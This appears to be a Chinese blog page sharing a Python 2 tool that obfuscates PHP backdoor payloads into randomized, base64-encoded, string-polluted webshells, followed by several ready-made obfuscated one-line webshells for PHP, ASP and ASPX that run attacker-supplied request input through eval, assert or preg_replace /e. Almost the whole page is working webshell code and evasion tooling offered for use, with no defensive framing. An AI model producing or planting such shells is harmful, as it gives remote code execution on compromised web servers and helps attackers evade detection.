php webshell 加密代码

import re
import sys
import base64, codecs
from random import random, randrange, choice, shuffle, randint
from collections import *
from inspect import getargspec
def random_string(charset = 'abcdefghijklmnopqrstuvwxyz', len=4, fixed=False):
	if not fixed:
		len = randrange(2,len)
	return ''.join([choice(charset) for i in xrange(len)])

def pollute_with_random_str(str, charset = '!"#$%&()*-,./:<>?@[\]^_`{|}~', frequency=0.3):

	str_encoded = ''
	for char in str:
		if random() < frequency:
			str_encoded += random_string(charset, 1, True) + char
		else:
			str_encoded += char
			
	return str_encoded
	
	
def pollute_replacing(str, charset = 'abcdefghijklmnopqrstuvwxyz'):
	
	# Choose common substring in str
	count = {}
	for r in range(1,len(str)):
		count.update( Counter(str[i:i+r] for i in range(len(str)-r-1)) )
	
	substr = choice(sorted(count, key=count.get, reverse=True)[:5])

	# Choose str to replace with
	pollution = find_randstr_not_in_str(str.replace(substr,''), charset)
			
	replacedstr = str.replace(substr,pollution)
	return substr, pollution, replacedstr

	
def find_randstr_not_in_str(str, charset):

	while True:

		pollution_chars = random_string(charset, 16, True)
			
		pollution = ''
		found = False
		for i in range(0, len(pollution_chars)):
			pollution = pollution_chars[:i]
			if (not pollution in str) :
				found=True
				break
			
		if not found:
			print '[!] Bad randomization, retrying.'
		else:
			return pollution

	
		
	
	
def pollute_with_static_str(str, charset = 'abcdefghijklmnopqrstuvwxyz', frequency=0.1):

	pollution = find_randstr_not_in_str(str, charset)
		
	str_encoded = ''
	for char in str:
		if random() < frequency:
			str_encoded += pollution + char
		else:
			str_encoded += char
			
	return pollution, str_encoded


class_name = 'Module'

class Module:
    '''Generic class Module to inherit'''
    
    visible = True
    
    
    
    def __init__(self, modhandler, url, password):
        
        self.modhandler = modhandler
        self.url = url
        self.password = password
        
        self.name = self.__module__[8:]
        
        
        self._probe()
    
    def mprint(self, str, importance = 5):

        # Considering also an empty self.modhandler.verbosity
        if not self.modhandler.verbosity or importance >= self.modhandler.verbosity[-1]:
            print str
        
    
    def _probe(self):
        pass
    
    def run(self, module_arglist = []):
        
        if not self.modhandler.interpreter:
            self.modhandler.load_interpreters()
                
        output = None
        check1, argdict = self.params.set_and_check_parameters(module_arglist, oneshot=True)
        
        if check1:
            check2, arglist = self.params.get_parameters_list(argdict)

            if check2:
                
                try:
                    output = self.run_module(*arglist)
                except ModuleException, e:
                    self.mprint('[!] [%s] Error: %s' % (e.module, e.error))
                    
                
        return output
    
    def _get_default_vector2(self):
        
        conf_vector = self.params.get_parameter_value('vector')
        vector = self.vectors.get_vector_by_name(conf_vector)
        
        if vector:
            return [ vector ]
        
        return []
    
class ModuleException(Exception):
    def __init__(self, module, value):
        self.module = module
        self.error = value
    def __str__(self):
        return '%s %s' % (self.module, self.error)


class Backdoor:

#	payload_template= """
#phpinfo();
#"""

	backdoor_template = """<?php 
$%%PAY_VAR1%%="%%PAYLOAD1%%";
$%%PAY_VAR2%%="%%PAYLOAD2%%";
$%%PAY_VAR3%%="%%PAYLOAD3%%";
$%%PAY_VAR4%%="%%PAYLOAD4%%";
$%%REPL_FUNC%% = str_replace("%%REPL_POLLUTION%%","","%%REPL_ENCODED%%");
$%%B64_FUNC%% = $%%REPL_FUNC%%("%%B64_POLLUTION%%", "", "%%B64_ENCODED%%");
$%%CREATFUNC%% = $%%REPL_FUNC%%("%%CREATFUNC_POLLUTION%%","","%%CREATFUNC_ENCODED%%");
$%%FINALFUNC%% = $%%CREATFUNC%%('', $%%B64_FUNC%%($%%REPL_FUNC%%("%%PAYLOAD_POLLUTION%%", "", $%%PAY_VAR1%%.$%%PAY_VAR2%%.$%%PAY_VAR3%%.$%%PAY_VAR4%%))); $%%FINALFUNC%%();
?>"""

	def __init__( self,payload_template):
		
		#if len(password)<4:
			#raise ModuleException('generate','Password \'%s\' too short, choose another one' % password)
		
		#self.password  = password
		#self.start_key = self.password[:2]
		#self.end_key   = self.password[2:]
		self.payload   = payload_template
		self.backdoor  = self.encode_template()

	def __str__( self ):
		return self.backdoor

	def encode_template(self):
		
		b64_new_func_name = random_string()
		b64_pollution, b64_polluted = pollute_with_static_str('base64_decode',frequency=0.7)
		
		createfunc_name = random_string()
		createfunc_pollution, createfunc_polluted = pollute_with_static_str('create_function',frequency=0.7)
		
		payload_var = [ random_string() for st in range(4) ]
		payload_pollution, payload_polluted = pollute_with_static_str(base64.b64encode(self.payload))
		
		replace_new_func_name = random_string()
		repl_pollution, repl_polluted = pollute_with_static_str('str_replace',frequency=0.7)
		
		final_func_name = random_string()
		
		length  = len(payload_polluted)
		offset = 7
		piece1	= length / 4 + randrange(-offset,+offset)
		piece2  = length / 2 + randrange(-offset,+offset)
		piece3  = length*3/4 + randrange(-offset,+offset)
		
		ts_splitted = self.backdoor_template.splitlines()
		ts_shuffled = ts_splitted[1:6]
		shuffle(ts_shuffled)
		ts_splitted = [ts_splitted[0]] + ts_shuffled + ts_splitted[6:]
		self.backdoor_template = '\n'.join(ts_splitted)
		
		template = self.backdoor_template.replace( '%%B64_ENCODED%%', b64_polluted )
		template = template.replace( '%%B64_FUNC%%', b64_new_func_name )
		template = template.replace( '%%CREATFUNC%%', createfunc_name )
		template = template.replace( '%%CREATFUNC_ENCODED%%',  createfunc_polluted )
		template = template.replace( '%%CREATFUNC_POLLUTION%%',  createfunc_pollution )
		template = template.replace( '%%REPL_ENCODED%%',  repl_polluted )
		template = template.replace( '%%REPL_POLLUTION%%',  repl_pollution )
		template = template.replace( '%%REPL_FUNC%%', replace_new_func_name )
		template = template.replace( '%%PAY_VAR1%%', payload_var[0] )
		template = template.replace( '%%PAY_VAR2%%', payload_var[1] )
		template = template.replace( '%%PAY_VAR3%%', payload_var[2] )
		template = template.replace( '%%PAY_VAR4%%', payload_var[3] )
		template = template.replace( '%%PAYLOAD_POLLUTION%%', payload_pollution )
		template = template.replace( '%%B64_POLLUTION%%', b64_pollution )
		template = template.replace( '%%PAYLOAD1%%', payload_polluted[:piece1] )
		template = template.replace( '%%PAYLOAD2%%', payload_polluted[piece1:piece2] )
		template = template.replace( '%%PAYLOAD3%%', payload_polluted[piece2:piece3] )
		template = template.replace( '%%PAYLOAD4%%', payload_polluted[piece3:] )
		template = template.replace( '%%FINALFUNC%%', final_func_name )
		
		
		return template
#test=Backdoor('aaaa','echo "aaa";')
#print test.__str__()




def load_file(filename):
   files=open(filename,'r')
   str1=files.read()
   str1=re.sub('^<\?php','',str1)
   str1=re.sub('\?>$', '', str1)
  # str1=str1.replace('<?php','').replace('?>','')
   return str1
usage='''usage:python test.py str  outfile
Example:python test.py @eval($_POST['a']);  aa.phip 
'''

if __name__ == "__main__":


    if  len(sys.argv) != 3:
        print usage
    else:
        print sys.argv
        s=load_file(sys.argv[1])
        test=Backdoor(s)
        files=open(sys.argv[2],'w')
        files.write(test.__str__())
        files.close()
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['ppwd'],"Access");

asp


pass下列是 -7

<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>

aspx

<%@ Page Language = Jscript %>
<%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/
"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+
"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+
","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval
(/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>

php


<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>


你可能感兴趣的:(php webshell 加密代码)